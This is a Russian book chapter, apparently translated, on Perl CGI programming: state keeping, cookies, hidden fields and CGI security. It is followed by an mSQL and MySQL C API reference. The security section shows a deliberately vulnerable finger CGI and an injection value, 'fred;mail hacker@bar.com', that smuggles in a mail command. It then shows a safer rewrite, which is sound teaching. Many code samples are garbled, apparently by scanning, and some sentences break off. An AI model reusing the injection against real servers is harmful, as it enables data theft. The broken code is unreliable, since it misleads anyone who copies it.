    После заголовков HTTP и пустой строки можно посылать собственно данные, выдаваемые вашей программой, - страницу HTML, изображение, текст или что-либо еще. Среди CGI-программ, поставляемых с сервером Apache, есть nph-test-cgi и test-cgi, которые хорошо демонстрируют разницу между заголовками в стилях nph и не-nph, соответственно.

    В этом разделе мы будем использовать библиотеки CGI.pm и cgic, в которых есть функции для вывода заголовков как HTTP, так и HTML. Это позволит вам сосредоточиться на выводе собственно содержания. Эти вспомогательные функции использованы в примерах, приведенных ранее в этой главе.



    Важные особенности сценариев CGI

    Вы уже знаете, в основном, как работает CGI. Клиент посылает данные, обычно с помощью формы, веб-серверу. Сервер выполняет CGI-программу, передавая ей данные. CGI-программа осуществляет свою обработку и возвращает свои выходные данные серверу, который передает их клиенту. Теперь от понимания того, как работают CGI-npor-раммы, нужно перейти к пониманию того, почему они так широко используются.

    Хотя вам уже достаточно известно из этой главы, чтобы собрать простую работающую CGI-программу, нужно разобрать еще несколько важных вопросов, прежде чем создавать реально работающие программы для MySQL или mSQL. Во-первых, нужно научиться работать с несколькими формами. Затем нужно освоить некоторые меры безопасности, которые помешают злоумышленникам получить незаконный доступ к файлам вашего сервера или уничтожить их.

    Запоминание состояния

    Запоминание состояния является жизненно важным средством предоставления хорошего обслуживания вашим пользователям, а не только служит для борьбы с закоренелыми преступниками, как может показаться. Проблема вызвана тем, что HTTP является так называемым протоколом "без памяти". Это значит, что клиент посылает данные серверу, сервер возвращает данные клиенту, и дальше каждый идет своей дорогой. Сервер не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие-либо данные, которые можно будет использовать позднее. Это накладывает непосредственное и существенное ограничение на использование World Wide Web.

    Важные особенности сценариев CGI
    Рис. 9-2. Множественные запросы форм

    Составление сценариев CGI при таком протоколе аналогично неспособности запоминать разговор. Всякий раз, разговаривая с кем-либо, независимо от того, как часто вы общались с ним раньше, вам приходится представляться и искать общую тему для разговора. Нет нужды объяснять, что это не способствует продуктивности. Рисунок 9-2 показывает, что всякий раз, когда запрос достигает программы CGI, это совершенно новый экземпляр программы, не имеющий связи с предыдущим.


    В части клиента с появлением Netscape Navigator появилось выглядящее наспех сделанным решение под названием cookies. Оно состоит в создании нового HTTP-заголовка, который можно пересылать туда-сюда между клиентом и сервером, похожего на заголовки Content-Type и Location. Броузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот cookie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI-программах на этом сервере.

    Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на машине сервера. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе. Все это происходит незаметным для пользователя образом.

    Несмотря на всю полезность этого метода, большинство больших сайтов не использует его в качестве единственного средства запоминания состояния. Для этого есть ряд причин. Во-первых, не все броузеры поддерживают cookie. До недавнего времени основной броузер для людей с недостаточным зрением (не говоря уже о людях с недостаточной скоростью подключения к сети) - Lynx - не поддерживал cookie. "Официально" он до сих пор их не поддерживает, хотя это делают некоторые его широко доступные "боковые ветви". Во-вторых, что более важно, cookie привязывают пользователя к определенной машине. Одним из великих достоинств Web является то, что она доступна из любой точки света. Независимо от того, где была создана или где хранится ваша веб-страница, ее можно показать с любой подключенной к Интернет машины. Однако если вы попытаетесь получить доступ к поддерживающему cookie сайту с чужой машины, все ваши персональные данные, поддерживавшиеся с помощью cookie, будут утрачены.


    Многие сайты по- прежнему используют cookie для персонализации страниц пользователей, но большинство дополняет их традиционным интерфейсом в стиле "имя регистрации/пароль". Если доступ к сайту осуществляется из броузера, не поддерживающего cookie, то страница содержит форму, в которую пользователь вводит имя регистрации и пароль, присвоенные ему при первом посещении сайта. Обычно эта форма маленькая и скромная, чтобы не отпугивать большинство пользователей, не заинтересованных ни в какой персонализации, а просто желающих пройти дальше. После ввода пользователем в форму имени регистрации и пароля CGI находит файл с данными об этом пользователе, как если бы имя посылалось с cookie. Используя этот метод, пользователь может регистрироваться на персонализированном веб-сайте из любой точки света.

    Помимо задач учета предпочтений пользователя и длительного хранения сведений о нем можно привести более тонкий пример запоминания состояния, который дают популярные поисковые машины. Осуществляя поиск с помощью таких служб, как AltaVista или Yahoo, вы обычно получаете значительно больше результатов, чем можно отобразить в удобном для чтения виде. Эта проблема решается тем, что показывается небольшое количество результатов - обычно 10 или 20 - и дается какое-либо средство перемещения для просмотра следующей группы результатов. Хотя обычному путешественнику по Web такое поведение кажется обычным и ожидаемым, действительная его реализация нетривиальна и требует запоминания состояния.

    Когда пользователь впервые делает запрос поисковому механизму, тот собирает все результаты, возможно, ограничиваясь некоторым предустановленным предельным количеством. Фокус состоит в том, чтобы выдавать эти результаты одновременно в небольшом количестве, запомнив при этом, что за пользователь запрашивал эти результаты и какую порцию он ожидает следующей. Оставляя в стороне сложности самого поискового механизма, мы встаем перед проблемой последовательного предоставления пользователю некоторой информации по одной странице. Рассмотрим пример 9-4, в котором показан сценарий CGI, выводящий десять строк файла и предоставляющий ему возможность просмотреть следующие или предыдущие десять строк.


    Пример 9-4. Сохранение состояния в сценарии CGI

    #!/usr/bin/perl -w

    use CGI;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    # Это файл, который будет выводиться, может быть любым.

    $output = new CGI;

    sub print_range { # Это главная функция программы, my $start = shift;

    # Начальная строка файла, my $count = 0;

    # Указатель, my $line = "";

    # Текущая строка файла, print $output->header,

    $output->start_html('Moй словарь');

    # Создает HTML с заголовком 'Мой словарь', print "\n";

    while (($count < $start) and ($line = )) { $count++; }

    # Пропустить все строки перед начальной, while (($count < $start+10) and ($line ? ) ) { print $line; $count++; }

    # Напечатать очередные 10 строк.

    my $newnext = $start+10; my $newprev = $start-10;

    # Установить начальные строки для URL 'Next' и 'Previous',

    print "";

    unless ($start == 0) { # Включить URL 'Previous', если только вы

    # уже не в начале .

    print qq%Previous%; }

    unless (eof) { # Включить URL 'Next', если только вы # не в конце файла.

    print qq% Next%;

    }

    print "HTML; HTML

    exit(0); }

    # Если данных нет, начать сначала,

    if (not $output->param) {

    &print_range(0); }

    # Иначе начать со строки, указанной в данных.

    &print_range($output->param('start'));

    В этом примере запоминание состояния производится с помощью простейшего метода. Проблемы с сохранением данных нет, поскольку мы держим их в файле на сервере. Нам нужно только знать, откуда начать вывод, поэтому сценарий просто включает в URL начальную точку для следующей или предыдущей группы строк - все, что необходимо для генерации очередной страницы.

    Однако если вам требуется нечто большее, чем возможность просто листать "файл, то полагаться на URL бывает обременительно. Облегчить эту трудность можно через использование формы HTML и включение данных о состоянии в теги типа HIDDEN. Этот метод с успехом используется на многих сайтах, позволяя делать ссылки между взаимосвязанными CGI-программами или расширяя возможности использования одной CGI-программы, как в предыдущем примере. Вместо ссылки на определенный объект, такой как начальная страница, данные URL могут указывать на автоматически генерируемый ID пользователя.


    Так работают AltaVista и другие поисковые машины. При первом поиске генерируется ID пользователя, который скрыто включается в последующие URL. С этим ID связаны один или несколько файлов, содержащих результаты запроса. В URL включаются еще две величины: текущее положение в файле результатов и направление, в котором вы хотите перемещаться в нем дальше. Эти три значения — все, что нужно для работы мощных систем навигации больших поисковых машин.

    - Впрочем, не хватает еще кое-чего. Использовавшийся в нашем примере файл /usr/diet/words очень велик. Что если на середине чтения мы его бросим, но захотим вернуться к нему позднее? Если не запомнить URL следующей страницы, никакого способа вернуться назад нет, даже AltaVista это не позволит. Если вы перезагрузите свой компьютер или станете работать с другого, невозможно вернуться к результатам прежнего поиска, не вводя заново запрос. Однако такое долговременное запоминание состояния лежит в основе персонализации вебсайтов, о которой мы говорили выше, и стоит посмотреть, как им можно воспользоваться. Пример 9-5 является модифицированным вариантом примера 9-4.

    Пример 9-5. Устойчивое запоминание состояния

    #!/usr/bin/perl -w

    use CGI;

    umask 0;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    chdir("users") or die("He могу перейти в каталог $!");

    # Это каталог, где будут храниться все данные

    # о пользователе.

    Soutput = new CGI;

    if (not$output->param) {

    print $output->header,

    $output->start_html('Мой словарь');

    print "HTML;



    <р>Введите свое имя пользователя:





    HTML

    exit(0); }

    $user = $output->param('username');

    ## Если файла пользователя нет, создать его и установить

    ## начальное значение в '0',

    if ( not -e "$user" ) {

    open (U, ">$user") or die("He могу открыть! $!");


    print U "0\n";

    close U;

    &print_range('0');

    ## если пользователь существует и в URL не задано

    ## начальное значение, прочесть последнее значение и начать с него.

    } elsif ( not $output->param('start') ) {

    open(U,"Suser") or die("He могу открыть пользователя! $!");

    $start = ; close U;

    chomp $starl;

    uprint range($start);

    ## Если пользователь существует и в URL не указано

    ## начальное значение, записать начальное значение

    ## в файл пользователя и начать вывод.

    } else{

    open(U,">$user") or die("He могу открыть пользователя для записи! $!");

    print U $output->param('start'), "\n";

    close U;

    &print_range($output->param('start1)); }

    sub print_range {

    my $start = shift;

    my $count = 0;

    my $line = " "

    print $output->header,

    $output->start_html(' Мой словарь ');

    print "
    \n";

    while (($count < $start) and ($line = )) { $count++; }

    while (($count < $start+10) and ($line = ) )

    {

    print $line; $count++;

    }

    my $newnext = $start+10;

    my $newprev = $start-10;

    print "
    ";

    unless (Sstart == 0)

    {

    print

    qq%

    Previous
    %;

    }

    unless (eof) { print qq% Next%;

    # Заметьте, что имя пользователя 'username' добавлено к URL.

    # В противном случае CGI забудет, с каким пользователем имел дело.

    }

    print $output->end_html;

    exit(0');

    }

    Меры безопасности

    При работе серверов Интернет, будь они серверами HTTP или другого рода, соблюдение мер безопасности является важнейшей заботой. Обмен данными между клиентом и сервером, совершаемый в рамках

    CGI, выдвигает ряд важных проблем, связанных с защитой данных. Сам протокол CGI достаточно защищен. CGI-программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI-программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI-программа может позволить злоумышленнику получить доступ к системе сервера. Рассмотрим следующий пример CGI-программы:


    #!/usr/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output"param('username');

    print $output->header, $output->start_html('Finger Output'),

    "
    ", 'finger $username', "
    ", $output->end_html;

    Эта программа обеспечивает действующий CGI-интерфейс к команде finger. Если запустить программу просто как finger.cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger.cgi?username=fred, то она выведет информацию о пользователе "fred" на сервере. Можно даже запустить ее как finger. cgi?userna-me=bob@f oo.com для вывода информации об удаленном пользователе. Однако если запустить ее как finger.cgi?username=fred;mail+hac-ker@bar.com
    Одно из решений состоит в синтаксическом анализе поступивших от формы данных с целью поиска злонамеренного содержания. Можно, скажем, искать символ ";" и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. Приведенную выше CGI-программу можно переписать так:

    #!/usr/local/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output->param('username');

    $|++;

    # Отключить буферизацию с целью направления всех данных клиенту,

    print $output->header, $putput->start_html('Finger Output'), "
    \n";


    $pid = open(C_OUT, "-|");# Эта идиома Perl порождает дочерний процесс и открывает

    # канал между родительским и дочерним процессами,

    if ($pid) {# Это родительский процесс.

    print ; ft Вывести выходные данные дочернего процесса.

    print "
    ", $output->end_html;

    exit(O); ft Завершить программу. }

    elsif (defined $pid) { # Это дочерний процесс.

    $|++; # Отключить буферизацию.

    ехес('/usr/bin/finger',$username) or die("exec() call failed.");

    # Выполняет программу finger с Susername в качестве одного единственного

    # аргумента командной строки. } else { die("неудачная попытка fork()"); }

    # Проверка ошибок.

    Как видите, это не на много более сложная программа. Но если запустить ее как finger.cgi?username=fred;mail+hacker@bar.com
    Важные особенности сценариев CGIВ качестве дополнительной меры безопасности этот сценарий запускает finger явно как /usr/bin/finger. В маловероятном случае, когда веб-сервер передает вашей CGI-программе необычный PATH, запуск просто finger может заставить выполниться не ту программу, которая нужна. Еще одну меру безопасности можно принять, изучив переменную окружения PATH и убедившись, что она имеет приемлемое значение. Неплохо удалить из PATH текущий рабочий каталог, если только вы уверены, что это не тот случай, когда действительно нужно выполнить находящуюся в нем программу.

    Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб-сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как "nobody", имеющий ограниченные права, поэтому у CGI-программы тоже мало прав. Обычно это хорошо, ибо, если злоумышленник сможет получить доступ к серверу через CGI-программу, ему не удастся причинить много вреда. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.


    Однако работа в качестве пользователя с ограниченными правами ограничивает и возможности CGI. Если программе CGI нужно читать или записывать файлы, она может делать это только там, где у нее есть такое разрешение. Например, во втором примере запоминания состояния для каждого пользователя ведется файл. CGI-программа должна иметь разрешение на чтение и запись в каталоге, содержащем эти файлы, не говоря уже о самих файлах. Это можно сделать, создав каталог в качестве того же пользователя, что и сервер, с правами чтения и записи только для этого пользователя. Однако для такого пользователя, как "nobody", только root имеет подобную возможность. Если вы не суперпользователь, то вам придется общаться с администратором системы при каждом изменении в CGI.

    Другой способ - сделать каталог свободным для чтения и записи, фактически сняв с него всякую защиту. Поскольку из внешнего мира получить доступ к этим файлам можно только через вашу программу, опасность не так велика, как может показаться. Однако если в программе обнаружится прореха, удаленный пользователь получит полный доступ ко всем файлам, в том числе возможность уничтожить их. Кроме того, законные пользователи, работающие на сервере, также получат возможность изменять эти файлы. Если вы собираетесь воспользоваться этим методом, то все пользователи сервера должны заслуживать доверия. Кроме того, используйте открытый каталог только для файлов, которые необходимы CGI-программе; иными словами, не подвергайте риску лишние файлы.

    Что еще можно почитать

    Если это ваше первое обращение к CGI-программированию, дальнейшее изучение можно продолжить разными путями. По этому предмету написаны десятки книг, многие из которых не предполагают никакого знакомства с программированием. "CGI Programming on the World Wide Web" издательства O'Reilly and Associates охватывает материал от простых сценариев на разных языках до действительно поразительных трюков и ухищрений. Общедоступная информация имеется также в изобилии в WWW. Неплохо начать с CGI Made Really Easy (Действительно просто о CGI) по адресу http://www.jmarshall.com/easy/cgi/.



    

        Базы данных: Разработка - Управление - Excel



  • . Эта функция полезна только вместе с веб-сервером Apache.



    MSQLCAPI

    API для языка С в mSQL версии 2 не имеет принципиальных отличий от реализации в mSQL 1. Однако были добавлены некоторые новые функции, и было внесено несколько изменений в уже существующие функции. Если функция может быть использована только в mSQL 2, на это обращается особое внимание.

    Типы данных

    mSQL С API кроме стандартных типов данных языка С использует некоторые свои типы. Они определены в заголовочном файле 'msql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку mSQL.

    m_result

    Структура, содержащая результаты оператора SELECT (или SHOW). Доступ к результатам запроса следует осуществлять через элемент этой структуры m_row.

    m_row

    Одна запись из данных, возвращаемых запросом SELECT. Результаты всех типов данных mSQL хранятся в этом типе (как массив символьных строк).

    m_field

    Структура, содержащая всю информацию, которая касается отдельного поля таблицы. Элементы структуры m_field могут быть проверены напрямую и имеют следующее строение:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей поле. Это значение пустое (null), если результирующий набор не относится к настоящей таблице.

    int type

    Тип поля. Является целым числом, соответствующим типам данных mSQL SQL, определенным в заголовочном файле msql.h.

    int length

    Длина поля в байтах.
    int flags

    Ноль или более флагов. Доступ к флагам осуществляется- через следующие макросы:

    IS_PRI_KEY(flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле определено как NOT NULL.

    msqIConnect

    int msqIConnect ( char*host )

    Создает подключение к серверу mSQL с указанным именем хоста или IP-адресом. Если в аргументе передать пустое значение, будет создано подключение к серверу mSQL на локальном хосте, с использованием сокетов Unix. Функция возвращает описатель базы данных, применяемый для связи с сервером баз данных. В случае ошибки вернется — 1.

    Пример

    /* Создать подключение к серверу баз данных на локальном хосте*/

    dbh = msqlConnect( (char*)NULL );

    if (dbh == -1) {

    print " Ошибка при подключении!\n";

    exit(1); }

    msqISelectDB

    int msqISelectDB ( int sock , char*dbName )

    Выбирает базу данных для указанного подключения. Базу данных необходимо выбрать до того, как будут посланы любые запросы к серверу баз данных. В случае ошибки возвращается — 1.

    Пример

    /* Выбрать базу данных "mydatabase" */

    result = msqlSelectDB( dbh, "mydatabase" );

    if (result == -1) {

    print "Ошибка при выборе базы данных! \n";

    exit(1); }

    msqIQuery

    int msqlQuery( int sock , char*query )

    Выполняет указанный SQL-запрос. В mSQL 2 в возвращаемом значении содержится количество записей, измененных запросом (или выбранных запросом SELECT). В mSQL 1 при успешном выполнении возвращается ноль. В случае ошибки обе версии возвращают — 1.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    msqIStoreResult

    m_result *msqlStoreResult()

    Сохраняет результат запроса SELECT. Эту функцию вызывают сразу после вызова msqIQuery с запросом SELECT. Результаты запроса сохраняются в структуре m_result. Новые запросы посылаются серверу баз данных только после вызова этой функции. Каждая структура m_result должна быть освобождена с помощью msqlFreeResult по завершении работы с ней.

    Пример

    m_result *results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    IK. 897

    /* К данным из этого запроса можно обращаться через'results'. Теперь можно выполнять новые запросы */

    msqIFreeResult

    void msqIFreeResult ( m_result*result )

    Освобождает память, связанную со структурой m_result.

    Пример

    m_result "results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    /* Выполнить работу */

    msqIFreeResult(results);

    msqIFetchRow

    m_row msqIFetchRow ( m_result*result )

    Выбирает одну запись из результирующего набора. Данные помещаются в структуру m_row, которая является массивом символьных строк. Каждый успешный вызов функции msqIFetchRow возвращает следующую запись до тех пор, пока не будет достигнут конец набора, тогда будет возвращено нулевое значение.


    Пример

    m_result *results;

    m_row "row;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    printf("Третье поле первой записи в таблице: %s\n", row[2]);

    msqlDataSeek

    void msqlDataSeek ( m_result* result, int pos )

    Устанавливает курсор, указывающий функции msqIFetchRow, .какую строку выбирать при следующей операции. Установив курсор в позицию 0, вы переместите его в начало данных. Установив курсор в позицию после последней записи, вы поместите его в конец данных.

    Пример

    m_result *results;

    m_row Vow;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    /* Вернуться к исходной позиции */ msqlDataSeek(results, 0);

    msqINumRows

    int msqINumRows ( m_result*result )

    Возвращает число строк в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult(); rows = msqlNumRows(results);

    msqIFetchField

    m_field "msqIFetchField ( m_result*result )

    Возвращает информацию о полях в результирующем наборе. Каждый успешный вызов функции msqIFetchField вернет структуру m_f ield для очередного поля, пока полей больше не останется, и тогда будет возвращено пустое значение.

    Пример

    m_field *field;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о первом поле

    в результирующем наборе */

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о втором поле в том же наборе записей */

    msqlFieldSeek

    void msqlFieldSeek ( m_result*result , int pos )

    Устанавливает курсор, указывающий функции msqlFetchField какое поле выбирать в следующий раз. Установив курсор в позицию после последнего поля, вы, собственно, установите его просто после последнего поля.

    Пример

    m_result "results; m_field 'field;


    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* Вернутся к исходной позиции */

    msqlFieldSeek(results, .0);

    msqlNumFields

    int msqlNumFields ( m_result* result )

    Возвращает число полей в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    fields = msqlNumFields(results);

    msqICIose

    int msqICIose ( int sock )

    Закрывает подключение к серверу баз данных mSQL.

    Пример

    dbh = msqlConnect( (char')NULL );

    /* Do work */

    msqlClose(dbh);

    msqIListDBs

    m_result *msqlListDBs ( int sock )

    Возвращает структуру m_result, содержащую имена всех баз данных, доступных на сервере баз данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    databases = msqlListDBs(dbh);

    /* 'databases' содержит теперь имена всех баз данных на сервере*/

    msqIListTables

    m_result *msqIListTables ( int sock )

    Возвращает структуру m_result, содержащую имена всех таблиц текущей базы данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    tables = msqlListTables(dbh);

    /* 'tables' содержит теперь имена всех таблиц текущей базы данных*/

    msqIListFields

    m_result 'msqIListFields ( int sock , char*tableName )

    Возвращает структуру m_result, содержащую имена всех полей в указанной таблице. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    fields = msqlListFields(dbh, "people");

    /* 'fields' содержит теперь имена всех полей

    в таблице'people' */

    msqIListlndex

    m_result 'msqIListlndex ( int sock , char*tableName , char*index )

    Возвращает структуру m_result, содержащую информацию о заданном индексе. Возвращаемый набор данных будет содержать тип индекса (в настоящее время поддерживается только тип 'avl') и содержащиеся в индексе имена полей. Как и все структуры m_result, значение, возвра щаемое этой функцией, должно быть освобождено с помощью msqlFreеResult после завершения работы с ним.

    Пример

    index = msqll_istIndex(dbh, "people", "idx1");

    /* Теперь'index' содержит информацию об индексе 'idx1' в таблице 'people' */

    MySQL С API

    MySQL С API кроме стандартных типов данных языка С использует некоторые свои типы данных. Они определены в заголовочном файле 'mysql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку MySQL.

    Типы данных

    MYSQL

    Структура, представляющая соединение с сервером баз данных. Элементы структуры среди прочего содержат имя текущей базы данных и информацию о клиентском подключении.

    MYSQL_FIELD

    Структура, которая содержит всю информацию, касающуюся отдельного поля таблицы. Из всех типов, созданных для MySQL, это единственная структура, к полям которой можно получить прямой доступ из клиентских программ. Поэтому необходимо знать строение этой структуры:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей это поле. Для результирующих наборов, которые не представляют реальных таблиц, это значение пустое.

    char *def

    Значение по умолчанию этого поля, если таковое существует. Это значение всегда будет null до вызова mysql_list_f ields, после чего в переменной будет корректное значение для полей, у которых есть значение по умолчанию.

    еnum enum_field_types type

    Тип поля. Он является одним из типов данных MySQL SQL.
    unsigned int length

    Размер поля, основанный на типе поля.
    unsigned int max_length

    После вызова mysql_list_fields здесь находится длина максимального значения, содержащегося в текущем результирующем наборе.

    unsigned int flags

    Ноль или более флагов. В настоящее время определены следующие флаги:

    NOT_NULL_FLAG

    Если установлен, поле не может содержать значение
    NULL. PRI_KEY_FLAG

    Если установлен, поле является первичным ключом.

    UNIQUE_KEY_FLAG

    Если установлен, поле является частью уникального ключа.

    MULTIPLE_KEY_FLAG

    Если установлен, поле является частью ключа.

    BLOB_FLAG

    Если установлен, поле имеет тип BLOB или TEXT.

    UNSIGNED_FLAG

    Если установлен, поле имеет числовой тип и содержит беззнаковое значение.

    ZEROFILL_FLAG

    Если установлен, поле было создано с флагом ZEROFILL.

    BINARY_FLAG


    Если установлен, поле имеет тип CHAR или VARCHAR с флагом BINARY.

    ENUM_FLAG

    Если установлен, поле имеет тип ENUM.

    AUTO_INCREMENT_FLAG

    Если установлен, поле имеет атрибут AUTO_INCREMENT.

    TIMESTAMP_FLAG

    Если установлен, поле имеет тип TIMESTAMP.

    unsigned int decimals

    При использовании с числовым полем выдает длину дробной части.

    Для облегчения использования данных MYSQL_FIELD созданы следующие макросы:

    IS_PRI_KEY( flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле имеет ограничение NOT NULL.

    IS_ELOE(flags)

    Возвращает true, если поле имеет тип BLOB или TEXT.

    IS_NUM(type)

    Возвращает true, если тип поля является числовым.

    MYSQL_FIELD_OFFSET

    Числовой тип, указывающий на позицию "курсора" в строке (записи).

    MYSQL_RES

    Структура, содержащая результат команды SELECT (или SHOW). Доступ к данным из запросов следует осуществлять через элемент этой структуры MYSQL_ROW.

    MYSQL_ROW

    Одна запись из данных, возвращаемых запросом SELECT. Все результаты, полученные от MySQL, хранятся в этом типе (как массив символьных строк).

    my_ulonglong

    Числовой тип, используемый для кодов возврата MySQL. Значение может находиться в диапазоне от 0 до 1.8Е19, и —1 используется для указания на ошибку.

    my sql_affected_ro ws

    my_ulonglong mysql_affected_rows(MYSQL*mysql)

    Возвращает число записей, измененных последним запросом. При использовании с запросом SELECT эта функция идентична mysql_num_rows (вернет число записей в результирующем наборе). С остальными запросами функция может быть использована после вызова mysql_query, которая послала запрос.

    Пример

    /* Вставить запись в таблицу 'people' */

    mysql_query(&mysql, "INSERT INTO people VALUES ('', 'Illyana Rasputin',

    16)";

    num = fflysql_affected_rows(&mysql);

    /* Если операция INSERT удалась, переменная num должна быть равна 1, и -1, если произошла ошибка */

    mysql_close

    void mysql_close(MYSQL*mysql)

    Завершает соединение с сервером баз данных MySQL. Если при разрыве соединения возникли проблемы, сообщение об ошибке можно посмотреть, используя функцию mysql_err.


    Пример

    mysql_close(&mysql);

    /* Теперь подключение должно быть завершено */

    mysql_connect

    MYSQL *mysql_connect(MYSQL*mysql, const char*host, const char*user, const char *passwd)

    Создает подключение к серверу баз данных MySQL. Первым параметром должна быть предварительно объявленная структура MYSQL. Второй параметр - это имя хоста или IP-адрес сервера MySQL. Если хост задан пустой строкой или как localhost, будет выполнено подключение к серверу MySQL на той же машине. Последние два параметра -это используемые для подключения имя пользователя и пароль. Пароль вводится открытым текстом и не шифруется. Функция возвращает структуру MYSQL, переданную первым аргументом, либо NULL, если соединение не было установлено. (Так как структура содержится в аргументе, единственное применение возвращаемого значения - это проверка успешности подключения.)

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL, вместо нее следует пользоваться функцией mysql_real_connect.

    Пример

    /* Создать подключение к локальному серверу MySQL, используя имя "bob" и

    пароль "mypass" */ MYSQL mysql;

    if(!mysql_connect(&mysql, "", "bob", "mypass")) {

    printf("Oшибкa при подключении!\n");

    exit(0); }

    /* Если мы дошли сюда, значит, успешно подключились к серверу баз данных*/

    mysql_create_db

    int mysql_create_db(MYSQL*mysql, const char*db)

    Создает полностью новую базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL CREATE DATABASE. Следует использовать его с помощью функции mysql_query.

    Пример

    /* Создать новую базу данных 'new_database' */

    result = mysql_create_db(&mysql, "new_database");

    mysql_data_seek

    void mysql_data_seek(MYSQL_RES*res, unsigned int offset)

    Передвигает курсор на определенную запись в наборе записей. Первый аргумент является структурой MYSQL_RES, которая содержит записи. Второй аргумент указывает на номер записи, которую вы хотите найти. Номер первой записи - 0. Эта функция работает, только если данные были выбраны с помощью mysql_store_ result.


    Пример

    /* Перейти к последней записи в результате */

    mysql_data_seek(results, mysql_num_rows(results)-1);

    mysql_debug

    mysql_debug(char *debug)

    Управляет отладочными функциями, если при компиляции клиента была разрешена отладка. MySQL использует отладочную библиотеку Fred Fish, которая имеет слишком много параметров и особенностей, чтобы быть описанной в этой книге.

    Пример

    /* Это обычное использование отладочной библиотеки. Информация о деятельности

    клиентских программ записывается в файл "debug.out"*/

    mysql_debug("d:t:0, debug. out");

    mysql_drop_db

    int mysql_drop_clb(MYSQL*mysql, const char*db)

    Уничтожает базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL DROP DATABASE. Его следует использовать через mysql_query вместо функции mysql_drop_db.

    Пример

    /* Уничтожить базу данных 'old_database' */

    result = mysql_drop_db(&mysql, "old_database");

    mysql_dump_debug_info

    int mysql_dump_debug_info(MYSQL*mysql)

    Эта функция заставляет сервер баз данных записывать отладочную информацию о текущем подключении в свои журнальные файлы. Для использования этой функции у вас должно быть право Process для текущего подключения. Функция вернет ноль в случае успешного выполнения операции и ненулевое значение в случае ошибки.

    Пример

    result = mysql_dump_debug_info(&mysql);

    /* Теперь журналы сервера должны содержать информацию о текущем

    подключении */

    mysql_eof

    my_bool mysql_eof(MYSQL_RES* result)

    Возвращает ненулевое значение, если больше нет данных в проверяемом наборе записей. При обнаружении ошибки в результирующем наборе возвращается ноль. Эта функция работает, только если результирующий набор был получен функцией mysql_use_result.

    Пример

    /* Прочитать до конца набор записей */

    while((row = mysql_fetch_row( results.))) {

    /'Обработка 7 }


    if(!mysql_eof(results))

    {

    printf("Ошибка. Конец результата не достигнут.\n");

    mysql_errno

    unsigned int mysql_errno(MYSQL*mysql)

    Возвращает номер последней ошибки, связанной с текущим подключением. Если подключение прошло без ошибок, функция возвращает ноль.

    Пример

    error = mysql_errno(&mysql);

    printf("HoMep последней ошибки: %d\n", error);

    mysql_error

    char *mysql_error(MYSQL*mysql)

    Возвращает сообщение о последней ошибке, связанной с текущим подключением. Если при подключении не было ошибок, функция возвращает пустую строку.

    Пример

    printf("Последняя ошибка была: '%s'\n", mysql_error(&mysql));

    mysq l_esca pe_strin g

    unsigned int mysql_escape_string(char*to, const char "from, unsigned int

    length)

    unsigned int mysql_escape_string(char*to, const char *from)

